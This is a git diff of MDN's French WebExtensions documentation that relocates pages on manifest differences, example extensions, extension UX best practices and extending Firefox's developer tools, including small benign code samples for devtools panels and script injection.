    Fonctions propriétaires, supportant des fonctions spécifiques au navigateur. Par exemple, au moment d'écrire ces lignes, containers est une fonctionnalité spécifique à Firefox supportée par la fonction contextualIdentities.

    -
    • -
- -

Touches Manifest

- -

Les différences entre les clés clés manifest.json prises en charge par les navigateurs se répartissent en deux grandes catégories :

- -
    -
  • -

    Attributs d'information sur les extensions. Par exemple, au moment d'écrire ces lignes, Firefox et Opera incluent la clé de développent permettant d'ajouter des détails sur le développeur de l'extension, ainsi que sur l'auteur, à enregistrer.

    -
    • -
  • -

    Fonctions d'extension. Par exemple, au moment d'écrire ces lignes, Edge ne prenait pas en charge les clés de commande qui permettent de définir des raccourcis clavier pour une extension.

    -
    • -
- -

Plus d'information

- -

Vous trouverez des informations plus détaillées sur les différences entre les extensions de navigateur prises en charge par les fonctionnalités API dans le domaine :

- - diff --git a/files/fr/mozilla/add-ons/webextensions/examples/index.html b/files/fr/mozilla/add-ons/webextensions/examples/index.html new file mode 100644 index 0000000000..7a96c1adae --- /dev/null +++ b/files/fr/mozilla/add-ons/webextensions/examples/index.html @@ -0,0 +1,33 @@ +--- +title: Exemples de WebExtensions +slug: Mozilla/Add-ons/WebExtensions/Exemples +tags: + - Interface + - WebExtensions +translation_of: Mozilla/Add-ons/WebExtensions/Examples +--- +
{{AddonSidebar}}
+ +

Pour illustrer la manière d'utiliser les API WebExtension, nous disposons d'un répertoire d'exemples d'extensions sur le site https://github.com/mdn/webextensions-examples. Cet article décrit comment exécuter ces exemples et énumère les exemples ainsi que les API WebExtension qu'ils illustrent.

+ +

Ces exemples fonctionnent dans Firefox Nightly : la plupart travaillent dans les versions antérieures de Firefox, mais vérifiez la version minimum strict_min_version dans le fichier manifest.json de l'extension pour en être sur.

+ +
+

Certains exemples ne fonctionnent que sur des domaines ou des pages spécifiques. Les détails des restrictions éventuelles sont fournis dans le fichier "readme" de chaque exemple. Aucun des exemples ne fonctionne par défaut dans les fenêtres de navigation privée, voir Extensions dans la navigation privée pour plus de détails.

+
+ +

Pour essayer ces exemples, clonez ensuite le dépôt :

+ +
    +
  1. Charger l'extension à partir de son dossier source en utilisant la fonction Charger temporairement l'extension. L'extension reste chargée jusqu'à ce que vous redémarriez Firefox.
    2. +
  2. Couvrir le dossier source de l'extension en ligne de commande et utiliser le  web-ext pour exécuter l'extension. L'extension reste chargée jusqu'à ce que vous redémarriez Firefox.
    3. +
  3. Dans Firefox utilisez File > Open File et trouvez l'exemple dans le dossier de  build. Le dossier build contient les versions construites et signées de tous les exemples. L'exemple est ainsi installé de façon permanente.
    4. +
+ +
+

Important: Veuillez ne pas soumettre ces exemples de WebExtension à AMO (addons.mozilla.org), vous n'avez pas besoin de signer l'add-on pour exécuter les exemples de WebExtension. Il suffit de suivre les étapes ci-dessus.

+
+ +

Si vous souhaitez contribuer au dépôt, envoyez-nous une demande

+ +

{{WebExtAllExamples}}

diff --git a/files/fr/mozilla/add-ons/webextensions/exemples/index.html b/files/fr/mozilla/add-ons/webextensions/exemples/index.html deleted file mode 100644 index 7a96c1adae..0000000000 --- a/files/fr/mozilla/add-ons/webextensions/exemples/index.html +++ /dev/null @@ -1,33 +0,0 @@ ---- -title: Exemples de WebExtensions -slug: Mozilla/Add-ons/WebExtensions/Exemples -tags: - - Interface - - WebExtensions -translation_of: Mozilla/Add-ons/WebExtensions/Examples ---- -
{{AddonSidebar}}
- -

Pour illustrer la manière d'utiliser les API WebExtension, nous disposons d'un répertoire d'exemples d'extensions sur le site https://github.com/mdn/webextensions-examples. Cet article décrit comment exécuter ces exemples et énumère les exemples ainsi que les API WebExtension qu'ils illustrent.

- -

Ces exemples fonctionnent dans Firefox Nightly : la plupart travaillent dans les versions antérieures de Firefox, mais vérifiez la version minimum strict_min_version dans le fichier manifest.json de l'extension pour en être sur.

- -
-

Certains exemples ne fonctionnent que sur des domaines ou des pages spécifiques. Les détails des restrictions éventuelles sont fournis dans le fichier "readme" de chaque exemple. Aucun des exemples ne fonctionne par défaut dans les fenêtres de navigation privée, voir Extensions dans la navigation privée pour plus de détails.

-
- -

Pour essayer ces exemples, clonez ensuite le dépôt :

- -
    -
  1. Charger l'extension à partir de son dossier source en utilisant la fonction Charger temporairement l'extension. L'extension reste chargée jusqu'à ce que vous redémarriez Firefox.
    2. -
  2. Couvrir le dossier source de l'extension en ligne de commande et utiliser le  web-ext pour exécuter l'extension. L'extension reste chargée jusqu'à ce que vous redémarriez Firefox.
    3. -
  3. Dans Firefox utilisez File > Open File et trouvez l'exemple dans le dossier de  build. Le dossier build contient les versions construites et signées de tous les exemples. L'exemple est ainsi installé de façon permanente.
    4. -
- -
-

Important: Veuillez ne pas soumettre ces exemples de WebExtension à AMO (addons.mozilla.org), vous n'avez pas besoin de signer l'add-on pour exécuter les exemples de WebExtension. Il suffit de suivre les étapes ci-dessus.

-
- -

Si vous souhaitez contribuer au dépôt, envoyez-nous une demande

- -

{{WebExtAllExamples}}

diff --git a/files/fr/mozilla/add-ons/webextensions/experience_utilisateur_bonnes_pratiques/index.html b/files/fr/mozilla/add-ons/webextensions/experience_utilisateur_bonnes_pratiques/index.html deleted file mode 100644 index bab0b4a22a..0000000000 --- a/files/fr/mozilla/add-ons/webextensions/experience_utilisateur_bonnes_pratiques/index.html +++ /dev/null @@ -1,190 +0,0 @@ ---- -title: Expérience utilisateur bonnes pratiques -slug: Mozilla/Add-ons/WebExtensions/Experience_utilisateur_bonnes_pratiques -tags: - - Add-ons - - Extensions - - Guide - - UI - - UX -translation_of: Mozilla/Add-ons/WebExtensions/User_experience_best_practices ---- -
{{AddonSidebar()}}
- -

Vous voudrez vous assurer que vos utilisateurs ont une excellente expérience en utilisant votre extension—quand vous le ferez, les bonnes critiques et évaluations suivront sur addons.mozilla.org (AMO).

- -

Si vous êtes nouveau sur le sujet de rendre un logiciel utilisable. un bon point de départ pour démarrer est l'Heuristique d'usabilité de Jakob Nielsen. Nous vous recommandons, que vous soyez nouveau pour le développement d'extension ou pour un professionnel expérimenté, en utilisant les Heuristiques de Nielsen comme une liste de contrôle du test de votre expérience utilisateur (UX).

- -

Nous présentons ici les six étapes à suivre pour créer des fonctionnalités Firefox et UX spécifiques afin que vous puissiez créer une extension qui séduise, informe, enchante et fidélise vos utilisateurs.

- -

En plus des étapes décrites ici, votre extension doit suivre les règles d'Add-on Policies, qui incluent la transparence avec les utilisateurs sur la sécurité, la confidentialité et le contrôle de l'utilisateur.

- -

1. Gardez le cap

- -

Les meilleures extensions Firefox offrent aux utilisateurs une nouvelle fonctionnalité ou capacité qui répond à un besoin, qu'il soit plus intelligent, plus efficace ou plus agréable de navigation. Idéalement, votre extension permet à l'utilisateur d'économiser du temps, de l'argent ou de la frustration.

- -

Une extension est meilleure lorsqu'elle est centrée autour d'un cas d'utilisation principal et qu'elle s'adresse à ce cas d'utilisation aussi bien que possible pour le public cible :

- -
    -
  • Il doit ajouter une fonction ou un ensemble de fonctions étroitement liées au navigateur, modifier une fonction du navigateur ou modifier des pages Web.
    • -
  • Déterminez si vous y êtes parvenu en demandant si vous pouvez facilement communiquer les caractéristiques et le but de la prolongation en trois phrases (courtes) ou moins.
    • -
- -

2. Donner aux utilisateurs ce dont ils ont besoin, là où ils en ont besoin

- -

Choisir la bonne façon, ou la combinaison de plusieurs façons, de rendre la fonctionnalité de votre extension disponible pour l'utilisateur peut avoir un effet significatif sur la convivialité. Poser quelques questions simples sur les fonctionnalités de votre poste peut vous guider rapidement vers les bons choix :

- -

Est-ce que mon extension fonctionne sur la plupart des sites et pages web ?

- -

Si votre extension fournit à l'utilisateur des fonctionnalités qu'il peut utiliser sur presque tous les sites Web ou pages, donnez-lui accès à partir d'un bouton de la barre d'outils en utilisant l'action du navigateur.

- -
    -
  • Cela peut inclure l'accès à votre éditeur d'images ou l'ouverture d'une page de votre site Web.
    • -
- -

- -

Lorsque vous voulez donner l'accès à l'utilisateur à plusieurs fonctions, vous pouvez ajouter  popup au bouton (un popup apparaît comme un crochet de porte qui s'ouvre lorsque l'utilisateur sélectionne le bouton d'action du navigateur).

- -

Est-ce que mon extension ne fonctionne que pour certains sites et pages web ?

- -

 

- -

Si votre extension fournit à l'utilisateur des fonctionnalités qu'il peut utiliser sur presque tous les sites Web ou pages, donnez-lui accès à partir d'un bouton de la barre d'outils en utilisant l'action du navigateur.

- -
    -
  • Cela peut inclure l'accès à votre éditeur d'images ou l'ouverture d'une page de votre site Web.
    • -
- -

 

- -

- -

Lorsque vous souhaitez donner accès à plusieurs fonctions à l'utilisateur, vous pouvez ajouter une fenêtre contextuelle au bouton.

- -

Mon extension doit-elle afficher des informations ou proposer des actions en parallèle avec des pages web ?

- -

Si votre extension contient des informations ou des actions auxquelles un utilisateur souhaite accéder immédiatement lorsqu'il consulte une page Web, utilisez une barre latérale.

- -
    -
  • Il peut s'agir de notes que l'utilisateur peut faire sur le contenu d'une page ou d'une fonction offrant diverses substitutions de polices pour améliorer la lisibilité.
    • -
- -

- -

Mon extension offre-t-elle des fonctionnalités spécifiques au contenu de la page ou à d'autres fonctions du navigateur ?

- -

Si votre extension offre des fonctionnalités auxquelles l'utilisateur peut vouloir accéder en contexte, ajoutez-les à un menu contextuel approprié.

- -
    -
  • Cela peut inclure l'accès à un éditeur d'image dans le menu contextuel de l'image ou des fonctions de copie étendues dans le menu contextuel pour le contenu de la page sélectionnée.
    • -
- -

Example of content menu items added by a WebExtension, from the context-menu-demo example

- -

Est-ce que mon poste possède des paramètres que l'utilisateur peut régler ?

- -

Si votre extension permet à l'utilisateur de modifier et d'enregistrer les paramètres qui affectent le comportement de l'extension, utilisez une page d'options pour fournir un lien Préférences standard vers les paramètres du gestionnaire des extensions

- -

Typical preferences button, to access an extension's settings, from the Add-on Manager

- -
-

Dans le système d'exploitation Windows, le bouton "Préférences" est appelé "Options".

-
- -

Est-ce que mon extension a besoin de collecter beaucoup d'informations ou d'afficher du contenu en plus des onglets actuels ?

- -

Lorsque votre extension a besoin de rassembler ou d'afficher des quantités importantes d'informations (plus qu'il n'est nécessaire pour une alerte ou qu'un formatage supplémentaire serait avantageux) utilisez pages webs groupées pour fournir des formulaires et un contenu similaire.

- -

Example of a simple bundled page displayed as a detached panel.

- -

Est-ce que mon extension essaie d'aider l'utilisateur à trouver des pages web ou du contenu ?

- -

Si votre extension inclut une fonctionnalité permettant de localiser des pages Web ou du contenu, par exemple en proposant une recherche spécifique à un site, utilisez les suggessions de la barre d'adresse pour fournir ces recommandations.

- -

Example showing the result of the firefox_code_search WebExtension's customization of the address bar suggestions.

- -

Mon extension offre-t-elle des outils pour les développeurs ?

- -

Si vous fournissez des outils pour les développeurs, ajoutez-les aux outils de développement Firefox en utilisant les panneaux des outils de développement.

- -

3. Tenir l'utilisateur informé

- -

S'assurer que l'utilisateur sait ce qui va se passer, ce qui se passe et ce qui s'est passé dans votre extension est un élément essentiel pour établir la confiance et assurer un utilisateur heureux.

- -

Dites à l'utilisateur ce qui va se passer, avant qu'il ne se produise.

- -

Les utilisateurs doivent comprendre ce qui se passe lorsqu'ils cliquent sur un bouton :

- -
    -
  • Fournissez une étiquette de bouton significative et descriptive.
    • -
  • Fournissez des infobulles qui décrivent l'action que le bouton va effectuer..
    • -
  • Ne mettez pas le nom de l'extension seul dans l'infobulle, à moins qu'il ne soit descriptif de l'action que le bouton va effectuer..
    • -
  • N'utilisez pas l'infobulle pour d'autres types d'informations telles que des statistiques détaillées sur votre extension. Gardez le contenu de l'infobulle simple et concentrez-vous sur ce qui se passera lorsque l'utilisateur clique sur le bouton.
    • -
- -

Si quelque chose est vraiment important et que l'utilisateur n'en est pas conscient, informez-le.

- -

Si votre extension a terminé une tâche d'arrière-plan critique et de longue durée, utilisez les  notifications natives du système d'exploitation pour mettre à jour l'utilisateur lorsque la tâche est terminée. Ceci peut être utile lorsque l'utilisateur ne se concentre pas sur l'extension ou le navigateur, une fois la tâche terminée.

- -

Toutefois, utilisez les avis avec parcimonie. S'il suffit que l'utilisateur découvre qu'un processus est terminé lorsqu'il revient au navigateur ou à l'extension, n'utilisez pas de notifications.

- -

- -

Utiliser les badges browserAction avec parcimonie

- -

Pour informer les utilisateurs des événements importants, vous pouvez ajouter un badge au dessus de l'icône de la barre browserAction. Faites-le avec parcimonie - n'utilisez pas de badges pour fournir des mises à jour régulières ou persistantes de l'état.

- -

Lorsqu'il s'agit de coloriser un badge, il est recommandé d'utiliser l'une des quatre couleurs pour les notifications de gravité différente :

- -
    -
  • Décontracté : bleu
    • -
  • Succès : vert
    • -
  • Attention : jaune
    • -
  • Erreur : rouge
    • -
- -
-

L'utilisation des couleurs Firefox est suggérée, pour plus de détails voir Firefox Colors. Cependant, pour des raisons de compatibilité avec Chrome et Opera, nous prenons en charge toutes les couleurs que vous souhaitez utiliser.

-
- -

4. Soyez Firefoxy dans l'apparence et la convivialité

- -

Vos utilisateurs ont choisi Firefox pour une raison, peut-être pour plusieurs raisons, alors faites correspondre l'apparence de votre extension à celle de Firefox en utilisant le Firefox Photon Design System.

- -

En suivant Photon, vous vous assurerez que votre extension s'intègre à l'expérience Firefox et la rendra plus facile à utiliser pour les utilisateurs.

- -

5. Grande expérience d'intégration

- -

Les premières minutes après l'installation de votre extension peuvent être cruciales pour son succès. Votre nouvel utilisateur doit savoir par où commencer et comment utiliser les fonctions de l'extension de votre navigateur.

- -

Fournir une page d'accueil qui donne aux utilisateurs les informations essentielles dont ils ont besoin pour commencer. Rédigez des informations brèves et précises et proposez des options de configuration simples, le cas échéant. Pour plus d'informations sur la création d'une page d'embarquement, voir Bonnes pratiques pour les utilisateurs d'embarquement, d'embarquement, et de débarquement.

- -

Si l'utilisateur saute la page d'embarquement, assurez-vous que votre poste est prêt à être utilisé immédiatement après l'installation. Il devrait être optimisé pour son cas d'utilisation principal et fonctionner comme prévu pour la plupart des utilisateurs sans avoir besoin de personnalisation.

- -

6. Testez, testez, puis testez à nouveau

- -

Le test est une partie essentielle de la création d'un UX exceptionnel pour votre extension. Il y a deux aspects clés du test de votre UX:

- -
    -
  1. Effectuez des tests sur plusieurs appareils et plates-formes pour vous assurer que votre extension fonctionne et qu'elle fonctionne correctement dans le plus grand nombre d'endroits possible. Cela inclut la prise en compte de facteurs tels que la taille de l'écran et la résolution de l'utilisateur —simplement parce que votre extension est bonne et facile à utiliser sur votre écran de bureau ne signifie pas qu'elle fonctionne aussi bien sur un écran d'ordinateur portable, ou, effectivement, vice et versa.
    2. -
  2. Testez avec autant d'utilisateurs que possible. Ne supposez pas que vous connaissez votre auditoire, car les antécédents et l'expérience des gens peuvent faire une énorme différence dans la façon dont ils interagissent avec votre extension. Ainsi, permettre les tests utilisateur dans le cadre du développement de votre extension.
    3. -
- -

Conseils de test :

- -
    -
  • Dans AMO, vous avez la possibilité d'identifier votre extension comme expérimentale ou publier une  version beta ou une autre version non finale. - -
      -
    • Si vous marquez votre extension comme expérimentale, elle est listée dans AMO, mais avec un profil plus bas. Lorsque l'extension est prête pour un public plus large, vous pouvez désactiver le drapeau expérimental dans AMO.
      • -
    • Si vous avez une extension publiée, vous pouvez utiliser le canal Développement pour proposer une version alpha ou bêta à tester. Vous devrez diriger vos testeurs vers le canal de développement de la liste de votre extension ou indiquer à vos testeurs le lien à utiliser pour installer votre extension.
      - The development channel section of an extension's listing page, offering access to alpha and beta versions for testing.
      - Lorsque vous êtes satisfait de votre mise à jour, vous pouvez la publier comme la nouvelle version de votre extension.
      • -
    -
    • -
  • Si vous souhaitez distribuer votre extension à des utilisateurs extérieurs à AMO, vous trouverez les instructions pour le faire, ainsi que les instructions d'installation que vous devez fournir aux utilisateurs, dans l'article sur les extensions de chargement latéral. N'oubliez pas que, contrairement à la distribution par l'entremise d'AMO, vous devrez envoyer aux utilisateurs toute version mise à jour de votre extension à mesure que vous apporterez des améliorations.
    • -
  • Utilisez le mode design réactif pour tester le comportement de votre extension sur d'autres tailles d'écran et types d'appareils.
    • -
- -

Créer une grande extension est un processus itératif. Bien que nous ayons décrit les six étapes ici, vous y reviendrez probablement au fur et à mesure que vous apprendrez ce qui fonctionne et ce qui ne fonctionne pas grâce aux commentaires des utilisateurs, aux tests et au temps.

diff --git a/files/fr/mozilla/add-ons/webextensions/extending_the_developer_tools/index.html b/files/fr/mozilla/add-ons/webextensions/extending_the_developer_tools/index.html new file mode 100644 index 0000000000..8b5695b9e3 --- /dev/null +++ b/files/fr/mozilla/add-ons/webextensions/extending_the_developer_tools/index.html @@ -0,0 +1,166 @@ +--- +title: Extension des outils de développement +slug: Mozilla/Add-ons/WebExtensions/extension_des_outils_de_developpement +tags: + - Add-ons + - DevTools + - Extensions + - Guide + - Needs Privileges + - WebExtensions +translation_of: Mozilla/Add-ons/WebExtensions/Extending_the_developer_tools +--- +
{{AddonSidebar}}
+ +
+

Cette page décrit les API  de devtools telles qu'elles existent dans Firefox 55. Bien que les API soient basées sur les  API devtools de chrome, il existe encore de nombreuses fonctionnalités qui ne sont pas encore implémentées dans Firefox et ne sont donc pas documentées ici. Pour voir quelles fonctionnalités sont actuellement manquantes, voir les Limitations des APIs devtools.

+
+ +

Vous pouvez utiliser les API WebExtensions pour étendre les outils de développement intégrés du navigateur. Pour créer une extension devtools, incluez la clé "devtools_page" dans manifest.json:

+ +
"devtools_page": "devtools/devtools-page.html"
+ +

La valeur de cette clé est une URL indiquant un fichier HTML qui a été regroupé avec votre extension. L'URL doit être relative au fichier manifest.json lui-même.

+ +

Le fichier HTML définit une page spéciale dans l'extension, appelée la page devtools.

+ +

La page devtools

+ +

La page Devtools est chargée lorsque les devtools du navigateur sont ouverts et déchargés lorsqu'ils sont fermés. Notez que, parce que la fenêtre devtools est associée avec un seul onglet, il est possible que plus d'une fenêtre devtools - donc plus d'une page devtools - existe en même temps.

+ +

La page devtools n'a pas de DOM visible, mais peut inclure des sources JavaScript en utilisant les balises <script>. Les sources doivent être regroupées avec l'extension. Les sources ont accès à :

+ + + +

Notez que la page devtools n'accède à aucune autre API WebExtension, et que la page d'arrière-plan n'a pas accès aux API devtools. Au lieu de cela, la page devtools et la page d'arrière-plan doivent communiquer à l'aide des API messageries d'éxécution. Voici un exemple :

+ +
<!DOCTYPE html>
+<html>
+  <head>
+    <meta charset="utf-8">
+  </head>
+  <body>
+    <script src="devtools.js"></script>
+  </body>
+</html>
+ +

Le fichier devtools.js contiendra le code réel créant vos extensions d'outils de développement.

+ +

Creations de panneaux

+ +

La fenêtre devtools héberge un certain nombre d'outils distincts: le débogueur JavaScript, le moniteur réseau, etc. Une rangée d'onglets sur le haut permet à l'utilisateur de basculer entre les différents outils. La fenêtre hébergeant l'interface utilisateur de chaque outil s'appelle un "panneau".

+ +

A l'aide de l'API devtools.panel.create(), vous pouvez créer votre propre panneau dans la fenêtre devtools :

+ +
browser.devtools.panels.create(
+  "My Panel",                      // title
+  "icons/star.png",                // icon
+  "devtools/panel/panel.html"      // content
+).then((newPanel) => {
+  newPanel.onShown.addListener(initialisePanel);
+  newPanel.onHidden.addListener(unInitialisePanel);
+});
+ +

Cela nécessite trois arguments obligatoires: le titre, l'icône et le contenu du panneau. Il renvoie une promesse qui résout un objet devtools.panels.ExtensionPanel représentant le nouveau panneau.

+ +

Interaction avec la fenêtre cible

+ +

Les outils de développement sont toujours attachés à un onglet de navigateur particulier. Ceci est appelé "target" pour les outils de développement, ou la "fenêtre inspectée". Vous pouvez interagir avec la fenêtre inspectée en utilisant l'API  devtools.inspectedWindow.

+ +

Code d'exécution dans la fenêtre cible

+ +

la fonction devtools.inspectedWindow.eval() fournit une façon d'exécuter le code dans la fenêtre inspectée.

+ +

C'est un peu comme utiliser {{WebExtAPIRef("tabs.executeScript()")}}  pour injecter un script de contenu, mais avec une différence importante :

+ +
    +
  • Contrairement aux scripts de contenu, les scripts chargés à partir de devtools.inspectedWindow.eval() n'obtiennent pas une "vue nette du DOM" : c'est-à-dire qu'ils peuvent voir des modifications apportées à la page par les scripts de page.
    • +
+ +
+

Notez qu'une vue propre du DOM est une fonction de sécurité destinée à empêcher les pages hostiles de tromper WebExtensions en redéfinissant le comportement des fonctions DOM natives. Cela signifie que vous devez être très prudent en utilisant eval () et utiliser un script de contenu normal si vous le pouvez.

+
+ +

Les scripts chargés à l'aide de devtools.inspectedWindow.eval() ne voient pas non plus de variables JavaScript définies par les scripts de contenu.

+ +

Travailler avec les scripts de contenus

+ +

Un document devtools n'a pas d'accès direct à  {{WebExtAPIRef("tabs.executeScript()")}}, donc, si vous devez injecter un script de contenu, le document devtools doit envoyer un message au script en arrière-plan en lui demandant d'injecter le script. La fonction devtools.inspectedWindow.tabId  fournit l'ID de l'onglet cible: le document devtools peut passer le script en arrière-plan, et le script de fond peut à son tour passer dans {{WebExtAPIRef("tabs.executeScript()")}}:

+ +
// devtools-panel.js
+
+const scriptToAttach = "document.body.innerHTML = 'Hi from the devtools';";
+
+window.addEventListener("click", () => {
+  browser.runtime.sendMessage({
+    tabId: browser.devtools.inspectedWindow.tabId,
+    script: scriptToAttach
+  });
+});
+ +
// background.js
+
+function handleMessage(request, sender, sendResponse) {
+  browser.tabs.executeScript(request.tabId, {
+    code: request.script
+  });
+}
+
+browser.runtime.onMessage.addListener(handleMessage);
+ +

Si vous avez besoin d'échanger des messages entre les scripts de contenu exécutés dans la fenêtre cible et un document de developpement, il est judicieux d'utiliser {{WebExtAPIRef("runtime.connect()")}} et {{WebExtAPIRef("runtime.onConnect")}} pour configurer une connexion entre la page d'arrière-plan et le document devtools. La page d'arrière-plan peut alors maintenir un mappage entre les ID de l'onglet et les objets {{WebExtAPIRef("runtime.Port")}}, et utilisez-le pour acheminer les messages entre les deux champs.

+ +

+ +

Limitations des API des devtools

+ +

Ces API sont basées sur les API devtools de Chrome, mais de nombreuses fonctionnalités sont encore manquantes par rapport à Chrome. Cette section répertorie les fonctionnalités qui ne sont pas encore implémentées, à partir de Firefox 54. Notez que les API de devtools sont en cours de développement et nous espérons ajouter de l'aide pour la plupart d'entre elles dans les versions ultérieures.

+ +

devtools.inspectedWindow

+ +

Les éléments suivants ne sont pas pris en charge :

+ +
    +
  • inspectedWindow.getResources()
    • +
  • inspectedWindow.onResourceAdded
    • +
  • inspectedWindow.onResourceContentCommitted
    • +
+ +

Aucune des options à inspectedWindow.eval() n'est prise en charge.

+ +

Les scripts injectés à l'aide de inspectedWindow.eval() ne peuvent pas utiliser toutes les fonctions d'assistance en ligne de commande de la console, mais $0 et inspect(...) sont tous deux pris en charge (à partir de Firefox 55).

+ +

devtools.panels

+ +

Les éléments suivants ne sont pas pris en charge :

+ +
    +
  • panels.elements
    • +
  • panels.sources
    • +
  • panels.setOpenResourceHandler()
    • +
  • panels.openResource()
    • +
  • panels.ExtensionPanel.createStatusBarButton()
    • +
  • panels.Button
    • +
  • panels.ElementsPanel
    • +
  • panels.SourcesPanel
    • +
+ +

Examples

+ +

The webextensions-examples repo on GitHub contains several examples of WebExtensions that use devtools panels:

+ + diff --git a/files/fr/mozilla/add-ons/webextensions/extension_des_outils_de_developpement/index.html b/files/fr/mozilla/add-ons/webextensions/extension_des_outils_de_developpement/index.html deleted file mode 100644 index 8b5695b9e3..0000000000 --- a/files/fr/mozilla/add-ons/webextensions/extension_des_outils_de_developpement/index.html +++ /dev/null @@ -1,166 +0,0 @@ ---- -title: Extension des outils de développement -slug: Mozilla/Add-ons/WebExtensions/extension_des_outils_de_developpement -tags: - - Add-ons - - DevTools - - Extensions - - Guide - - Needs Privileges - - WebExtensions -translation_of: Mozilla/Add-ons/WebExtensions/Extending_the_developer_tools ---- -
{{AddonSidebar}}
- -
-

Cette page décrit les API  de devtools telles qu'elles existent dans Firefox 55. Bien que les API soient basées sur les  API devtools de chrome, il existe encore de nombreuses fonctionnalités qui ne sont pas encore implémentées dans Firefox et ne sont donc pas documentées ici. Pour voir quelles fonctionnalités sont actuellement manquantes, voir les Limitations des APIs devtools.

-
- -

Vous pouvez utiliser les API WebExtensions pour étendre les outils de développement intégrés du navigateur. Pour créer une extension devtools, incluez la clé "devtools_page" dans manifest.json:

- -
"devtools_page": "devtools/devtools-page.html"
- -

La valeur de cette clé est une URL indiquant un fichier HTML qui a été regroupé avec votre extension. L'URL doit être relative au fichier manifest.json lui-même.

- -

Le fichier HTML définit une page spéciale dans l'extension, appelée la page devtools.

- -

La page devtools

- -

La page Devtools est chargée lorsque les devtools du navigateur sont ouverts et déchargés lorsqu'ils sont fermés. Notez que, parce que la fenêtre devtools est associée avec un seul onglet, il est possible que plus d'une fenêtre devtools - donc plus d'une page devtools - existe en même temps.

- -

La page devtools n'a pas de DOM visible, mais peut inclure des sources JavaScript en utilisant les balises <script>. Les sources doivent être regroupées avec l'extension. Les sources ont accès à :

- - - -

Notez que la page devtools n'accède à aucune autre API WebExtension, et que la page d'arrière-plan n'a pas accès aux API devtools. Au lieu de cela, la page devtools et la page d'arrière-plan doivent communiquer à l'aide des API messageries d'éxécution. Voici un exemple :

- -
<!DOCTYPE html>
-<html>
-  <head>
-    <meta charset="utf-8">
-  </head>
-  <body>
-    <script src="devtools.js"></script>
-  </body>
-</html>
- -

Le fichier devtools.js contiendra le code réel créant vos extensions d'outils de développement.

- -

Creations de panneaux

- -

La fenêtre devtools héberge un certain nombre d'outils distincts: le débogueur JavaScript, le moniteur réseau, etc. Une rangée d'onglets sur le haut permet à l'utilisateur de basculer entre les différents outils. La fenêtre hébergeant l'interface utilisateur de chaque outil s'appelle un "panneau".

- -

A l'aide de l'API devtools.panel.create(), vous pouvez créer votre propre panneau dans la fenêtre devtools :

- -
browser.devtools.panels.create(
-  "My Panel",                      // title
-  "icons/star.png",                // icon
-  "devtools/panel/panel.html"      // content
-).then((newPanel) => {
-  newPanel.onShown.addListener(initialisePanel);
-  newPanel.onHidden.addListener(unInitialisePanel);
-});
- -

Cela nécessite trois arguments obligatoires: le titre, l'icône et le contenu du panneau. Il renvoie une promesse qui résout un objet devtools.panels.ExtensionPanel représentant le nouveau panneau.

- -

Interaction avec la fenêtre cible

- -

Les outils de développement sont toujours attachés à un onglet de navigateur particulier. Ceci est appelé "target" pour les outils de développement, ou la "fenêtre inspectée". Vous pouvez interagir avec la fenêtre inspectée en utilisant l'API  devtools.inspectedWindow.

- -

Code d'exécution dans la fenêtre cible

- -

la fonction devtools.inspectedWindow.eval() fournit une façon d'exécuter le code dans la fenêtre inspectée.

- -

C'est un peu comme utiliser {{WebExtAPIRef("tabs.executeScript()")}}  pour injecter un script de contenu, mais avec une différence importante :

- -
    -
  • Contrairement aux scripts de contenu, les scripts chargés à partir de devtools.inspectedWindow.eval() n'obtiennent pas une "vue nette du DOM" : c'est-à-dire qu'ils peuvent voir des modifications apportées à la page par les scripts de page.
    • -
- -
-

Notez qu'une vue propre du DOM est une fonction de sécurité destinée à empêcher les pages hostiles de tromper WebExtensions en redéfinissant le comportement des fonctions DOM natives. Cela signifie que vous devez être très prudent en utilisant eval () et utiliser un script de contenu normal si vous le pouvez.

-
- -

Les scripts chargés à l'aide de devtools.inspectedWindow.eval() ne voient pas non plus de variables JavaScript définies par les scripts de contenu.

- -

Travailler avec les scripts de contenus

- -

Un document devtools n'a pas d'accès direct à  {{WebExtAPIRef("tabs.executeScript()")}}, donc, si vous devez injecter un script de contenu, le document devtools doit envoyer un message au script en arrière-plan en lui demandant d'injecter le script. La fonction devtools.inspectedWindow.tabId  fournit l'ID de l'onglet cible: le document devtools peut passer le script en arrière-plan, et le script de fond peut à son tour passer dans {{WebExtAPIRef("tabs.executeScript()")}}:

- -
// devtools-panel.js
-
-const scriptToAttach = "document.body.innerHTML = 'Hi from the devtools';";
-
-window.addEventListener("click", () => {
-  browser.runtime.sendMessage({
-    tabId: browser.devtools.inspectedWindow.tabId,
-    script: scriptToAttach
-  });
-});
- -
// background.js
-
-function handleMessage(request, sender, sendResponse) {
-  browser.tabs.executeScript(request.tabId, {
-    code: request.script
-  });
-}
-
-browser.runtime.onMessage.addListener(handleMessage);
- -

Si vous avez besoin d'échanger des messages entre les scripts de contenu exécutés dans la fenêtre cible et un document de developpement, il est judicieux d'utiliser {{WebExtAPIRef("runtime.connect()")}} et {{WebExtAPIRef("runtime.onConnect")}} pour configurer une connexion entre la page d'arrière-plan et le document devtools. La page d'arrière-plan peut alors maintenir un mappage entre les ID de l'onglet et les objets {{WebExtAPIRef("runtime.Port")}}, et utilisez-le pour acheminer les messages entre les deux champs.

- -

- -

Limitations des API des devtools

- -

Ces API sont basées sur les API devtools de Chrome, mais de nombreuses fonctionnalités sont encore manquantes par rapport à Chrome. Cette section répertorie les fonctionnalités qui ne sont pas encore implémentées, à partir de Firefox 54. Notez que les API de devtools sont en cours de développement et nous espérons ajouter de l'aide pour la plupart d'entre elles dans les versions ultérieures.

- -

devtools.inspectedWindow

- -

Les éléments suivants ne sont pas pris en charge :

- -
    -
  • inspectedWindow.getResources()
    • -
  • inspectedWindow.onResourceAdded
    • -
  • inspectedWindow.onResourceContentCommitted
    • -
- -

Aucune des options à inspectedWindow.eval() n'est prise en charge.

- -

Les scripts injectés à l'aide de inspectedWindow.eval() ne peuvent pas utiliser toutes les fonctions d'assistance en ligne de commande de la console, mais $0 et inspect(...) sont tous deux pris en charge (à partir de Firefox 55).

- -

devtools.panels

- -

Les éléments suivants ne sont pas pris en charge :

- -
    -
  • panels.elements
    • -
  • panels.sources
    • -
  • panels.setOpenResourceHandler()
    • -
  • panels.openResource()
    • -
  • panels.ExtensionPanel.createStatusBarButton()
    • -
  • panels.Button
    • -
  • panels.ElementsPanel
    • -
  • panels.SourcesPanel
    • -
- -

Examples

- -

The webextensions-examples repo on GitHub contains several examples of WebExtensions that use devtools panels:

